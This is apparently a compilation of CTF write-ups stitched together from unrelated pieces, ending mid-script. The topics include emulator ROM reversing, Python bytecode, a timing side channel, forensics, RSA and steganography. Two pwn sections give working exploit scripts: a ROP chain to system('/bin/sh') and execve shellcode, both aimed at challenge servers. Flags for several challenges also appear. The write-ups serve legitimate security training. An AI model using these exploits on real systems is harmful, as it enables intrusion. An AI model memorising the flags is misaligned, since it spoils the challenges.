I disassembled `talkative-server-redacted.rom` and annotated it:```asm000: ADDI r12, r0, 61001: ADDI r13, r0, 36002: LBL 512, 0003: ADDI r1, r0, 2004: IO r0, ENET_CONN_CTRL, r1005: IO r1, ENET_INCOMING, r0006: CMPUL r1, 40007: + JUP 512, r0 # If we have less than 40 chars, keep reading
008: ADDI r50, r0, 62 # Store the first 4 chars (username?)009: IO r8, ENET_RECV, r0010: IO r9, ENET_RECV, r0011: IO r10, ENET_RECV, r0012: IO r11, ENET_RECV, r0013: ADDI r2, r0, 14
# Recv payload to registers r14 to r50 (exclusive)014: LBL 513, 0015: IO r1, ENET_RECV, r0016: ST [r2+0], r1017: ADDI r2, r2, 1018: CMPUL r2, 50
# Print to username and payload020: ADDI r2, r0, 8021: LBL 513, 0022: LD r1, [r2+0]023: IO r0, SERIAL_WRITE, r1024: ADDI r2, r2, 1025: CMPUL r2, 51026: + JUP 513, r0
027: CMPEQ r0, r0028: + CMPEQ r24, 36 # Must pass all these checks029: + CMPEQ r21, 36030: + CMPEQ r40, 10031: + CMPEQ r45, 21032: + CMPEQ r11, 28033: + CMPEQ r27, 29034: + CMPEQ r23, 14035: + CMPEQ r39, 22036: + CMPEQ r34, 10037: + CMPEQ r29, 14038: + CMPEQ r14, 18039: + CMPEQ r35, 23040: + CMPEQ r43, 21041: + CMPEQ r9, 22042: + CMPEQ r8, 34043: + CMPEQ r17, 18044: + CMPEQ r18, 16045: + CMPEQ r36, 36046: + CMPEQ r47, 21047: + CMPEQ r20, 29048: + CMPEQ r44, 24049: + CMPEQ r16, 22050: + CMPEQ r15, 36051: + CMPEQ r22, 11052: + CMPEQ r38, 38053: + CMPEQ r48, 24054: + CMPEQ r26, 14055: + CMPEQ r49, 21056: + CMPEQ r37, 33057: + CMPEQ r46, 24058: + CMPEQ r32, 29059: + CMPEQ r25, 11060: + CMPEQ r41, 28061: + CMPEQ r19, 17062: + CMPEQ r33, 17063: + CMPEQ r31, 36064: + CMPEQ r28, 29065: + CMPEQ r10, 10066: + CMPEQ r42, 36067: + CMPEQ r30, 27068: + JDN 4095, r0 # Jump to flag...```
The important parts are the `CMPEQ` instructions from `028` to `067`.To get the flag we just need a payload to pass those checks.
I wrote a [script](https://github.com/qxxxb/emu/blob/master/talkative.py) toautomate this. This was the correct payload```USERNAME: YMASPAYLOAD: I MIGHT BE BETTER THAN X-MAS LOLOLOL```
# GAMEBREAK + Demo Party
**Category**: Emulation \**Points**: 500 \**Author**: trupples, Milkdrop
## Challenge
The greatest step towards the popularization of the EMU 1.0 was its entry intothe home entertainment market, starting with the release of the PlutonGAMEBREAK extension. We don't have much to go on but a crumpled up referencecard from a developer, a picture of a retail box, a ROM that supposedly usesthe graphics and memory extensions, and a reconstructed picture of what itshould display.
The external memory seemed to have had 256k slots which are 18-bit addresable.The old screens are 64x64 with 6 bit color (2 bits per channel), and theJoysticks have an 8-direction stick and two buttons (X, Y).
Implement the GAMEBREAK devices and make a nice demo to get some points!
## Solution
After implementing the MEM and GPU (I didn't have time to implement D-PADunfortunately), I was able to run `win.rom`:

The next challenge was to create my own ROM.
I like Nyan Cat, so went to [www.nyan.cat](http://www.nyan.cat/) andgot an Xmas Nyan.Next I scaled it down to fit inside the 64x64 window and then split in intoframes.```convert -coalesce xmas_small.gif f.png```
I wrote a script to read the pixels from each frame. The idea was to hard-codeeach pixel into the tape and store the entire animation in the memory unit.
It ended up looking something like this:```pythondef mem_write_imm(i): return [ Ins.from_values(Op.ADDI, Cond.UN, 1, 0, i), Ins.from_io(Cond.UN, 0, IoDevice.MEM_WRITE, 1), ]
tape = []for f in frames: for row in f: for px in row: c = unscale_color(px) # EMU uses 64-bit color tape += mem_write_imm(c)```
To draw a row, I wrote this function:```pythondef draw_row(): color = temp_reg() x = temp_reg() # gpu_x + offset (la, lb) = new_label()
return [ # Loop through GPU X from 0..width Ins.from_values(Op.ADDI, Cond.UN, rs['gpu_x'], 0, 0), Ins.from_values(Op.LBL, Cond.UN, la, lb, 0),
# offset = 14 Ins.from_values(Op.ADDI, Cond.UN, x, rs['gpu_x'], 14), Ins.from_io(Cond.UN, 0, IoDevice.GPU_X, x),
# Get pixel color from frames stored in memory unit Ins.from_io(Cond.UN, color, IoDevice.MEM_READ, 0), Ins.from_io(Cond.UN, 0, IoDevice.GPU_DRAW, color),
Ins.from_values(Op.ADDI, Cond.UN, rs['gpu_x'], rs['gpu_x'], 1), Ins.from_cmp(Cond.UN, CmpType.RA_IB, Cm.EQ, rs['gpu_x'], width), Ins.from_values(Op.JUP, Cond.FA, la, lb, 0), ]```
To draw a frame, I could just re-use the `draw_row` function but increment`GPU_Y` on each iteration.```pythondef draw_frame(): ans = []
y = temp_reg() # gpu_y + offset (la, lb) = new_label()
ans += [ # Loop through GPU Y from 0..height Ins.from_values(Op.ADDI, Cond.UN, rs['gpu_y'], 0, 0), Ins.from_values(Op.LBL, Cond.UN, la, lb, 0),
Ins.from_values(Op.ADDI, Cond.UN, y, rs['gpu_y'], 18), Ins.from_io(Cond.UN, 0, IoDevice.GPU_Y, y), ]
ans += draw_row()
ans += [ Ins.from_values(Op.ADDI, Cond.UN, rs['gpu_y'], rs['gpu_y'], 1), Ins.from_cmp(Cond.UN, CmpType.RA_IB, Cm.EQ, rs['gpu_y'], height), Ins.from_values(Op.JUP, Cond.FA, la, lb, 0), ]
return ans```
Finally, to draw the animation frame-by-frame, I could re-use the `draw_frame`function.
```pythondef draw_frames(): ans = [] (la, lb) = new_label() wait = new_label() cl = temp_reg() # Clock reset
ans += [ # Loop frame index from 0..n_frames Ins.from_values(Op.ADDI, Cond.UN, rs['frame_i'], 0, 0), Ins.from_values(Op.LBL, Cond.UN, la, lb, 0), ]
ans += draw_frame()
ans += [ # Reset clock to draw frame. # The screen is updated when the clock is reset. Ins.from_values(Op.ADDI, Cond.UN, cl, 0, 1), Ins.from_io(Cond.UN, 0, IoDevice.CLOCK_LO_CS, cl),
# Wait 0.08 seconds before drawing next frame Ins.from_values(Op.LBL, Cond.UN, wait[0], wait[1], 0), Ins.from_io(Cond.UN, cl, IoDevice.CLOCK_LO_CS, 0), Ins.from_cmp(Cond.UN, CmpType.RA_IB, Cm.UL, cl, 8), Ins.from_values(Op.JUP, Cond.TR, wait[0], wait[1], 0),
# Next frame Ins.from_values(Op.ADDI, Cond.UN, rs['frame_i'], rs['frame_i'], 1), Ins.from_cmp(Cond.UN, CmpType.RA_IB, Cm.EQ, rs['frame_i'], n_frames), Ins.from_values(Op.JUP, Cond.FA, la, lb, 0),
# Loop the animation
# Set frame index to 0 Ins.from_values(Op.ADDI, Cond.UN, rs['frame_i'], 0, 0),
# Reset memory pointer Ins.from_io(Cond.UN, 0, IoDevice.MEM_ADDR_HI, 0), Ins.from_io(Cond.UN, 0, IoDevice.MEM_ADDR_MID, 0), Ins.from_io(Cond.UN, 0, IoDevice.MEM_ADDR_LO, 0),
Ins.from_values(Op.JUP, Cond.UN, la, lb, 0), ]
return ans```
The full script is [here](https://github.com/qxxxb/emu/blob/master/nyan.py).This is the final output:
 |
# Ready for Xmas? [85]SOLVED
Are you ready for aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/bin/shawhkj\xffwaa ?
**Target**: nc challs.xmas.htsp.ro 2001
**Author**: Th3R4nd0m
**Files**: ready_for_xmas.zip
#### The python library used here is [`pwnscripts`](https://github.com/152334H/pwnscripts)## Solvingimportant stuff in decompiler:```cint system(const char *s) { return system(s);}void set_rdx_as_r15() { // this sets rdx = r15}int main() { char haystack[64]; // [rsp+0h] [rbp-40h] BYREF setvbuf(stdin, 0LL, 2, 0LL); setvbuf(stdout, 0LL, 2, 0LL); if ( has_main_occured ) exit(0); memset(aCatFlag, 0, sizeof(aCatFlag)); puts("Hi. How are you doing today, good sir? Ready for Christmas?"); gets(haystack); // !!!! vuln !!!! if ( strstr(haystack, "sh") || strstr(haystack, "cat") ) exit(0); // if haystack contains these strings has_main_occured = 1; mprotect(&has_main_occured, 1uLL, 1); return 0;}```checksec:```python[*] chall Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)```This challenge was presumably designed with the idea of disabling mprotect with the inline assembly function. Or something. The `set_rdx_as_r15()` function is a little bit confusing, considering you can use ret2csu to set rdx without anything special.
I'm also not entirely sure what the point of having a `system()` function was; I just busted through the challenge with a ROP to `.bss` to ROP to libc's `/bin/sh`.
```pythonfrom pwnscripts import *context.binary = 'chall'context.libc_database = '../libc-database'context.libc = 'libc.so.6'NOWHERE = 0x601900r = remote('challs.xmas.htsp.ro', 2001)PAD = 0x48
R = ROP(context.binary)R.raw(PAD*b'a')R.puts(context.binary.got['gets'])R.gets(NOWHERE)R.migrate(NOWHERE)r.sendlineafter('\n', R.chain())
context.libc.calc_base('gets', unpack_bytes(r.recvline(),6))R = ROP(context.binary)R.system(context.libc.symbols['str_bin_sh'])r.sendline(R.chain())r.interactive()```## Flag`X-MAS{l00ks_lik3_y0u_4re_r3ady}` |
# Rev 102
## Task
Flag format is: JISCTF{data}
File: be_true
## Solution
```bash$ file be_truebe_true: python 2.7 byte-compiled```
We use `uncompyle` for this. We need to add the file extension `pyc`.
```python$ python2 ~/.local/bin/uncompyle6 be_true.pyc# uncompyle6 version 3.7.4# Python bytecode 2.7 (62211)# Decompiled from: Python 2.7 (default, [REDACTED])# Embedded file name: be_true.py# Compiled at: 2019-12-06 14:36:32import operatorflag = 0power = (12 * flag + 44) / 4 - 1234 / 617 * flag - sum([1, 4, 7])flag *= powerppc = filter(lambda cc22: not any(cc22 % uu22 == 0 for uu22 in range(2, cc22)), range(2, 10000))dat = reduce(operator.mul, (ppc[i] ** int(str(flag)[i]) for i in range(len(str(flag)))))print dat == 3560267726635400465627540581996487760054035685444946475657505105403063442856963534755133504166293811169018648637812735995934052617540980495952470560844800443626277335201401028364068797946796579956457852457279957300619892623751175557650873016730889125068146398488627192356718363004881175012104986391177956396290571688585499385019181192105543180552708742672275440530116680223358366613050183523086165910780504269235376773473500L# okay decompiling be_true.pyc```
Let's do this step by step:
```pythonpower = (12 * flag + 44) / 4 - 1234 / 617 * flag - sum([1, 4, 7])power = 3 * flag + 11 - 2 * flag - 12power = flag - 1```
This is just simplifying the expression.
```pythonflag = 0flag *= powerflag *= flag - 1flag = flag * (flag - 1)flag = flag**2 - flag```
This is just inserting the simplification an moving things around..
So what is `ppc`? It's the `range(2, 10000)` filtered by `not any(c % u == 0 for u in range(2, c))`. This is just creating a list of primes.
So what is `dat`? It's each prime from `ppc` exponented with the corresponding char from `flag` at that index and all of the result multiplied together.
This means we can resote `flag` from the required `dat` with prime factorization.
If `flag` was `201`, dat would be `20 == 2**2 * 3**0 * 5**1`.
Keep in mind there is `print dat` not `print(dat)` so this is python2. We write this script:
```pythondef primes(n): primfac = [] d = 2 while d*d <= n: while (n % d) == 0: primfac.append(d) n //= d d += 1 if n > 1: primfac.append(n) return primfac
flag = 0cnt = Counter()# reduced to 269 here since it's zero after thatppc = filter(lambda cc22: not any(cc22 % uu22 == 0 for uu22 in range(2, cc22//2+1)), range(2, 269))
for prime in ppc: cnt[prime] = 0
for prime in primes(result): cnt[prime] += 1
print(cnt)
out = ""
for prime in ppc: out += str(cnt[prime])
print(out)```
And get this:
```bash$ python2 be_true.pyCounter({7: 9, 37: 9, 73: 9, 83: 9, 17: 8, 41: 8, 131: 8, 3: 7, 197: 7, 241: 7, 139: 7, 227: 7, 191: 7, 137: 6, 29: 6, 263: 6, 101: 6, 157: 6, 257: 5, 19: 5, 151: 5, 67: 5, 89: 5, 109: 5, 113: 5, 31: 4, 229: 4, 59: 4, 199: 4, 239: 4, 5: 3, 23: 3, 193: 3, 223: 3, 97: 3, 211: 3, 2: 2, 163: 2, 53: 2, 181: 2, 71: 2, 79: 2, 107: 2, 13: 1, 149: 1, 167: 1, 173: 1, 47: 1, 179: 1, 61: 1, 233: 1, 11: 0, 269: 0, 43: 0, 103: 0, 251: 0, 127: 0})273901853649801241529295360255086715621112737433741470560```
`out` is now `flag**2 - flag`. Since it's such a large number the trouble-free way is to calculate the (positive) solution with WolframAlpha.
`flag` is now `5233563352533350594343304433`.
Unhexlify that...
```python>>> binascii.unhexlify(b'5233563352533350594343304433')b'R3V3RS3PYCC0D3'``` |
# Santa Computing
**Category**: Hardware \**Points**: 388 \**Author**: Milkdrop
## Challenge
Santa is still using that old hunk as his main computer huh? He keeps braggingabout how his laughably outdated hardware and software is immune to all thesefancy new modern vulnerabilities. While that might be true, someone please tellhim that speed might be a security issue as well...
Target: `nc challs.xmas.htsp.ro 5051`
## Solution
```$ nc challs.xmas.htsp.ro 5051
_________ / ======= \ / __________\ | ___________ | | | - | | | | | | | |_________| |_________ \=____________/ ) / """"""""""" \ / / ::::::::::::: \ /T\'(_________________) \_/
HELLO SANTA.PLEASE INPUT PASSWORD:this is a guessCHECKING... PLEASE WAIT.PASSWORD REJECTED.```
I connected to the server and was immediately prompted for a password. I tried`this is a guess` and was rejected.
Based on the challenge description, this seems like a timing-relatedside-channel attack.
We can guess that the server uses insecure string comparison like this:```cbool insecureStringCompare(const void *a, const void *b, size_t length) { const char *ca = a, *cb = b; for (size_t i = 0; i < length; i++) if (ca[i] != cb[i]) return false; return true;}```
As soon as it reads an incorrect character, it aborts.
We know that flags start with `X-MAS` so let's try that
```$ nc challs.xmas.htsp.ro 5051
_________ / ======= \ / __________\ | ___________ | | | - | | | | | | | |_________| |_________ \=____________/ ) / """"""""""" \ / / ::::::::::::: \ /T\'(_________________) \_/
HELLO SANTA.PLEASE INPUT PASSWORD:X-MASCHECKING... PLEASE WAIT.
~ took 3s$```
This time it closed the connection after three seconds.Also, it didn't print `PASSWORD REJECTED`, which makes our exploit even easier.Basically, the idea is to bruteforce each character one-by-one.- If it says `PASSWORD REJECTED` then we know it's incorrect.- If it doesn't say `PASSWORD REJECTED` and closes the connection instead, we know it's correct- As the password gets longer, so does the response time
I wrote a script in `solve.py` to find the flag, which took around 15 minutes.```X-MAS{S1D3CH4NN3LZ?wtf!!}``` |
```from sage.all import factorfrom pwn import remote
r = remote("challs.xmas.htsp.ro", 6050)r.recvuntil("1/100")
for i in range(100): print(i) r.recvuntil("gcd(x, y) = ") g = int(r.recvuntil("\n").strip()) r.recvuntil("lcm(x, y) = ") l = int(r.recvuntil("\n").strip()) if g==l: r.sendline("1") else: _g = list(factor(g)) _l = list(factor(l)) #print(_g) #print(_l) count = 0 for f in _l: if f not in _g: count += 1 r.sendline(str(2**count)) print(r.recvuntil("\n")) print(r.recvuntil("\n"))print(r.recvuntil("\n"))``` |
# Ret2Shellcode
## Exploit :-
```py#!/usr/bin/python2# -*- coding: utf-8 -*-from pwn import *
exe = context.binary = ELF('./chall')context.terminal = ['alacritty', '-e', 'sh', '-c']host = args.HOST or '35.238.225.156'port = int(args.PORT or 1006)
def local(argv=[], *a, **kw): '''Execute the target binary locally''' if args.GDB: return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) else: return process([exe.path] + argv, *a, **kw)
def remote(argv=[], *a, **kw): '''Connect to the process on the remote host''' io = connect(host, port) if args.GDB: gdb.attach(io, gdbscript=gdbscript) return io
def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.LOCAL: return local(argv, *a, **kw) else: return remote(argv, *a, **kw)
gdbscript = '''init-pwndbgtbreak maincontinue'''.format(**locals())
# -- Exploit goes here --
io = start()offset = 24 # pattern = daaaaaaapadding = 'aaaaaaaabaaaaaaacaaaaaaa'shellcode = """mov rax, 0x3bxor rdx, rdx;xor rdi, rdi;xor rsi, rsi;movabs rdi, 0x0068732F6E69622Fpush rdimov rdi, rspsyscall """shellcode = asm(shellcode)leak = io.recvuntil("]").strip("]")leak = leak.split("[")leak = int(leak[1], 16)print(hex(leak))print(len(shellcode))rip = leak + 32payload = padding + p64(rip) + shellcodeio.recv()io.send(payload)
io.interactive()
``` |
# The Cat
**Category**: Forensics \**Points**: 359 \**Author**: yakuhito
## Challenge
We know yakuhito's been playing in our internal network for over a year, but wenever managed to kick him out. Last week, he made the big screen at theentrance play nyan cat.
File: `logs.pcapng`
## Solution
Opening it up in Wireshark, we see a lot of encrypted TLS traffic, but we do afew interesting HTTP requests that are unencrypted.
Let's focus on the interesting parts by applying this filter:```ip.src == 192.168.1.194 || ip.dst == 192.168.1.194```
Exporting the HTTP objects, we get some interesting files:- `cert.pem`: RSA privey key and certificate- `key.log`: Key log file (exactly what we need to decrypt TLS)
Right click -> `Protocol Preferences` -> `Open Transport Security Layer preferences...`- `(Pre)-Master-Secret log filename` - Set path to key.log- `TLS debug file` - Set it to a new file `dbg.log` so we can see debug logs from Wireshark- `RSA keys list` - Somehow we should be using `cert.pem`, which contains the RSA private key and certificate. - Not really sure how to use this
these files into Wireshark. This decrypts a few interesting packets, namely packet number 4141:

We have a decrypted POST request where the user was trying to upload `nyan.zip`.
To carve it out, I wrote this:```pythons = open('packets/4141.hex').read().strip()x = bytes.fromhex(s)
zbi = x.index(b'PK') # Zip magic byteszb = x[zbi:]
zbi = zb.index(b'\r\n--') # Endzb = zb[:zbi]
open('nyan.zip', 'wb').write(zb)```
Extracting `nyan.zip`, we get `nyan.sh````$ bash nyan.sh```
 |
# ISITYOU (Cryptography - 356 pts - third blood)
We are given the server code in [isityou.py](https://github.com/CTF-STeam/ctf-writeups/blob/master/2020/ISITDTU%20Finals/ISITYOU/isityou.py), the following part is important:
```pythonFLAG = open('flag.txt','rb').read()great_poem = open('my_poem.txt').read()
# What the heck?WTF = ord('c')*11WTF += ord('o')*9WTF += ord('t')*5WTF += ord('h')*3WTF += ord('A')*2WTF += ord('n')*2
# Transformdef isitme(r): if len(r) != 256: return False
_a = [1, 17, 289, 1584, 296, 1703, 2319, 2804, 1062, 1409, 650, 1063, 1426, 939, 2647, 1722, 2642, 1637, 1197, 375, 3046, 1847, 1438, 1143, 2786, 756, 2865, 2099, 2393, 733, 2474, 2110, 2580, 583, 3253, 2037, 1339, 2789, 807, 403, 193, 3281, 2513, 2773, 535, 2437, 1481, 1874, 1897, 2288, 2277, 2090, 2240, 1461, 1534, 2775, 569, 3015, 1320, 2466, 1974, 268, 1227, 885, 1729, 2761, 331, 2298, 2447, 1651, 1435, 1092, 1919, 2662, 1977, 319, 2094, 2308, 2617, 1212, 630, 723, 2304, 2549, 56, 952, 2868, 2150, 3260, 2156, 33, 561, 2879, 2337, 3110, 2935, 3289, 2649, 1756, 3220, 1476, 1789, 452, 1026, 797, 233, 632, 757, 2882, 2388, 648, 1029, 848, 1100, 2055, 1645, 1333, 2687, 2402, 886, 1746, 3050, 1915, 2594, 821, 641, 910, 2154]
c = 1 for o in range(7, 0, -1): t = 1 << o for h in range(0, 256, 1 << (o+1)): a = _a[c] for n in range(h, t+h, 2): co = n + t th = n
an = (a * r[co]) % (WTF - 1) r[co] = (r[th] - an) % (WTF - 1) r[th] = (r[th] + an) % (WTF - 1)
c += 1
c = 1 for o in range(7, 0, -1): t = 1 << o for h in range(1, 256, 1 << (o+1)): a = _a[c] for n in range(h, t+h, 2): co = n + t th = n
an = (a * r[co]) % (WTF - 1) r[co] = (r[th] - an) % (WTF - 1) r[th] = (r[th] + an) % (WTF - 1) c += 1
return True... def handle(self): self.request.settimeout(30) rsend = self.request.sendall rclose = self.request.close rrecv = self.request.recv
rsend(Welcome)
rsend(b'\nIs it You?\n> ') user_input = rrecv(4096).strip()
my_array = self.sanitize(user_input) print(my_array) if my_array: if isitme(my_array): my_input = ''.join(list(map(chr, my_array))) if great_poem == my_input: rsend(b"\nyay, it is me: {}".format(FLAG)) else: rsend(b'\nYou are not me!!!\n')...```
The code is completely reversable, although it is quite tricky, you have to reverse in the right order to get the solution.
I'm busy so you should inspect the (a bit messy) solver code yourself: [isityou_solve.py](https://github.com/CTF-STeam/ctf-writeups/blob/master/2020/ISITDTU%20Finals/ISITYOU/isityou_solve.py)
Flag:
```nc 34.123.55.74 25537Welcome to self-identification service.This is the place only me-myself-I can get in. Come on, go on, fsk me!!!
Is it You?> [1306, 2733, 154, 1653, 2270, 1771, 1841, 1340, 2713, 2398, 885, 675, 1588, 819, 1253, 2654, 1491, 2997, 601, 425, 1522, 1172, 2412, 1643, 3265, 1696, 0, 565, 301, 1911, 1359, 280, 3315, 396, 269, 185, 1918, 1249, 3166, 910, 715, 1559, 2455, 382, 1548, 1455, 3193, 1918, 3062, 1489, 1473, 772, 2784, 1716, 2795, 3327, 3172, 216, 2072, 3014, 1607, 3126, 126, 1509, 2619, 2317, 1525, 182, 281, 2982, 1097, 3295, 3285, 1761, 2482, 709, 2144, 1183, 2680, 154, 1530, 2633, 1804, 663, 1025, 756, 1998, 945, 1318, 3309, 1721, 431, 860, 2836, 2279, 1509, 3200, 498, 266, 2350, 233, 1490, 2699, 3073, 1806, 2035, 1946, 237, 1105, 2069, 541, 3030, 3115, 1293, 1440, 2735, 2056, 138, 3298, 2699, 3126, 597, 268, 1826, 827, 2714, 2453, 3190, 375, 3170, 3221, 997, 2318, 906, 1131, 2468, 477, 2686, 700, 853, 2007, 2121, 595, 226, 1731, 2048, 671, 2986, 1806, 2317, 2988, 1988, 2928, 999, 1092, 1305, 874, 2886, 2854, 2035, 318, 2614, 911, 875, 679, 1512, 2043, 2736, 813, 337, 3010, 1522, 2680, 1115, 134, 1942, 1103, 1081, 894, 2788, 1736, 303, 1914, 903, 1190, 967, 2102, 2453, 583, 1825, 1014, 2038, 563, 2983, 0, 883, 882, 516, 1303, 568, 3060, 1780, 46, 1952, 916, 1059, 1863, 643, 1111, 2061, 2191, 2992, 2075, 2215, 2452, 3116, 1091, 2866, 1571, 2688, 1502, 1825, 2315, 216, 1360, 2132, 2189, 808, 22, 1377, 951, 2117, 2622, 1396, 1229, 485, 183, 1818, 560, 825, 2525, 3208, 2783, 1517, 690, 1774, 1535, 419, 796, 720, 982, 3015, 2044, 1520, 1734, 1632]yay, it is me: b'ISITDTU{W0w_Numb3r_ThEor3t1c_tr4nsf0rm_1S_c00l!}\n'Take your time and think about the input```
(The redundant "Take your time and think about the input" is probably a bug in the code, it doesn't really matter :P) |
# Hidd3n:Steganography:100ptsSeems like there is something hidden in this image. Can you find it out? [image.jpg](image.jpg)
# Solutionimage.jpgが配布される。  jpgなので、exiftoolで見てみる。 ```bash$ exiftool image.jpgExifTool Version Number : 10.80File Name : image.jpgDirectory : .File Size : 44 kBFile Modification Date/Time : 2020:12:05 18:27:02+09:00File Access Date/Time : 2020:12:05 18:27:39+09:00File Inode Change Date/Time : 2020:12:05 18:27:02+09:00File Permissions : rwxrwxrwxFile Type : JPEGFile Type Extension : jpgMIME Type : image/jpegJFIF Version : 1.01Resolution Unit : NoneX Resolution : 1Y Resolution : 1Comment : cGFzc3BocmFzZT1qdTV0ZmluZG0zImage Width : 800Image Height : 600Encoding Process : Baseline DCT, Huffman codingBits Per Sample : 8Color Components : 3Y Cb Cr Sub Sampling : YCbCr4:4:4 (1 1)Image Size : 800x600Megapixels : 0.480```コメントに`cGFzc3BocmFzZT1qdTV0ZmluZG0z`が入っている。 base64デコードすると`passphrase=ju5tfindm3`になる。 passphraseが出てきたので`ju5tfindm3`でsteghideする。 ```bash$ steghide extract -sf image.jpgEnter passphrase:wrote extracted data to "flag.txt".$ cat flag.txt"In engineering, the point is to get the job done, and people are happy to help. You should be generous with credit, and you should be happy to help others." Who am I?
Here is your flag: shaktictf{G00d!_b3st_0f_luck_f0r_th3_n3xt_chall3nge}```flagが得られた。
## shaktictf{G00d!_b3st_0f_luck_f0r_th3_n3xt_chall3nge} |
# cat_clicker
## Challenge Author(s):`yakuhito`
## Description:```Ever wanted to rescue cats in a game very similar to cookie clicker? If the answer is yes, then Cat Clicker is the perfect game for you!```
## Target:
`http://challs.xmas.htsp.ro:3003/`
## Objective:
Get *13 cats* (limit is *12 cats*) bypassing the `hash (MD5) check (digital signature)` in order to "buy" the flag (flag cost is 13 cats).
## Difficulty/Points: `hard/474` |
- First thing, you should look around field data and research which is the protocol. - This is the protocol :https://bgb.bircd.org/bgblink.html- Then, extract data and parse each packet to view struct of packet follow to document of protocol by `scapy` or `tshark`.- Focus in `syn1 state` & `byte data value b2` because it contain data transfer.- Use table character and mapping with vaiue in packet : https://datacrystal.romhacking.net/wiki/Pok%C3%A9mon_Red_and_Blue:TBL- > This is my code to resolve and analysis data .
```# tshark -r capture.pcapng -T fields -e data -e tcp.port | tr '\n' '-' > data.txt# You can use scapy to extract data & analyze# https://bgb.bircd.org/bgblink.html# https://datacrystal.romhacking.net/wiki/Pok%C3%A9mon_Red_and_Blue:TBL# python3
list_ = {"4F":" " ,"57":"#","51":"*","52":"A1","53":"A2","54":"POKé","55":"+","58":"$","75":"…","7F":" ","80":"A","81":"B","82":"C","83":"D","84":"E","85":"F","86":"G","87":"H","88":"I","89":"J","8A":"K","8B":"L","8C":"M","8D":"N","8E":"O","8F":"P","90":"Q","91":"R","92":"S","93":"T","94":"U","95":"V","96":"W","97":"X","98":"Y","99":"Z","9A":"(","9B":")","9C":":","9D":";","9E":"[","9F":"]","A0":"a","A1":"b","A2":"c","A3":"d","A4":"e","A5":"f","A6":"g","A7":"h","A8":"i","A9":"j","AA":"k","AB":"l","AC":"m","AD":"n","AE":"o","AF":"p","B0":"q","B1":"r","B2":"s","B3":"t","B4":"u","B5":"v","B6":"w","B7":"x","B8":"y","B9":"z","BA":"é","BB":"'d","BC":"'l","BD":"'s","BE":"'t","BF":"'v","E0":"'","E1":"{","E2":"}","E3":"-","E4":"'r","E5":"'m","E6":"?","E7":"!","E8":".","ED":"→","EE":"↓","EF":"♂","F0":"¥","F1":"×","F3":"/","F4":",","F5":"♀","F6":"0","F7":"1","F8":"2","F9":"3","FA":"4","FB":"5","FC":"6","FD":"7","FE":"8","FF":"9"}
def parse_pk(dt_pk,port,f1,fm): port = port.split(",")[0] d = "" if port == "1337": d = "1" else: d = "0" cmd = parse_command(dt_pk[:2])
if cmd == "version": return parse_version(dt_pk,d)
b2 = dt_pk[2:4] b2_bin = bin(int(b2,16))[2:] b2_bin_full = b2_bin + '0'*(8-len(b2_bin))
if cmd == "joypad": return parse_joypad(dt_pk,b2_bin_full,d)
b3 = bin(int(dt_pk[4:6],16))[2:] b3_bin_full = b3 + '0'*(8-len(b3))
if cmd == "syn1": z = parse_syn1(dt_pk,b3_bin_full,d,fm) f1.write(z + "\r\n") return z
if cmd == "syn2": return parse_syn2(dt_pk,d)
if cmd == "syn3": return parse_syn3(dt_pk,d)
if cmd == "status": return parse_status(dt_pk,d)
def parse_command(b1): if b1 == "01": return "version" if b1 == "65": return "joypad" if b1 == "68": return "syn1" if b1 == "69": return "syn2" if b1 == "6a": return "syn3" if b1 == "6c": return "status"
def parse_version(dt_pk,d): return "{} version: b1:{} b2:{} b3:{} b4:{} i1:{}".format(d,dt_pk[:2],dt_pk[2:4],dt_pk[4:6],dt_pk[6:8],dt_pk[8:])
def parse_joypad(dt_pk,b2_bin_full,d): pr_rl = "" if b2_bin_full[3] == 1: pr_rl = "pressed" else: pr_rl = "released" return "{} joypad: b1:{} b2:{} b3:{} b4:{} i1:{}".format(d,dt_pk[:2],pr_rl,0,0,0)
def parse_syn1(dt_pk,b3_bin_full,d,messenge): for key,value in list_.items(): if key == dt_pk[2:4].upper(): fm.write(value) return "{} syn1 b1:{} b2:{} b3:h-{}:d-{} b4:{} i1:{}".format(d,dt_pk[:2],dt_pk[2:4],b3_bin_full[1],b3_bin_full[2],0,dt_pk[8:])
def parse_syn2(dt_pk,d): return "{} syn2 b1:{} b2:{} b3:{} b4:{} i1:{}".format(d,dt_pk[:2],dt_pk[2:4],dt_pk[4:6],0,0)
def parse_syn3(dt_pk,d): return "{} syn3 b1:{} b2:{} b3:{} b4:{} i1:{}".format(d,dt_pk[:2],dt_pk[2:4],dt_pk[4:6],dt_pk[6:8],dt_pk[8:])
def parse_status(dt_pk,d): return "{} status b1:{} b2:{} b3:{} b4:{} i1:{}".format(d,dt_pk[:2],dt_pk[2:4],0,0,0)
if __name__ == '__main__': fp = open("data1.txt","r").read() fw = open("result.txt","w") f1 = open("syn1.txt","a") fm = open("messenge.txt","a") cipher = fp.split("-") mess = "" for i in range(0,len(cipher)): if len(cipher[i]) < 13: continue rs = parse_pk(cipher[i].split("\t")[1],cipher[i].split("\t")[0],f1,fm) mess += rs + "\r\n"
print ("[+] Data analysis pcap save as data1.txt") print ("[+] Data analysis syn1 save as syn1.txt") print ("[+] messenge save as messenge.txt") fw.write(mess) fw.close()``` |
When connecting to the server, we are presented with the following message:```$ nc challs.xmas.htsp.ro 1000Provide a hex string X such that sha256(unhexlify(X))[-5:] = 939e0
d444060eaed6dcfd33feGood, you can continue!Welcome to Santa's public key factory, here we create the world's highest quality keys.Since this is an annanounced visit you can look through at most 256 keys.As a bonus, try to use those keys to find what Santa's secret message for you is.Choose what you want to do:1. get encrypted secret message2. guess the secret message3. exit
```
Inspecting the given source code reveals, that textbook RSA is used for encryption. We can get the ciphertext and corresponding public key of a secret message when choosing menu option 1. Our task is to decrypt the ciphertext and send the secret message to the server by choosing option 2.
Everytime we choose option 1, we get the secret message encrypted with a new secret key. So we are looking for an attack against RSA where we know many different public keys and the encryption of a message mith those keys. The source code shows that a custom algorithm is used for prime generation. First, a 1024 bit number is generated by setting bit 1024 and 16 randomly chosen bits. Then, the next bigger prime number is computed and returned.
This sounds like we can expect one prime being used for two distinct RSA keys if look through 256 keys. So we wrote a script gathering 256 keys from the server. The script then checks each pair of public moduli (N_i, N_j) for common primes by computing the greatest common divisor. If the result is not 1, we have a hit and can compute the private key. With the private key we can decrypt the secret message and get the flag. This is our script:
```python3#!/usr/bin/sage
import sysfrom pow import PoW
def inp(i=1): for _ in range(i): line = input() print(line, file=sys.stderr) return line
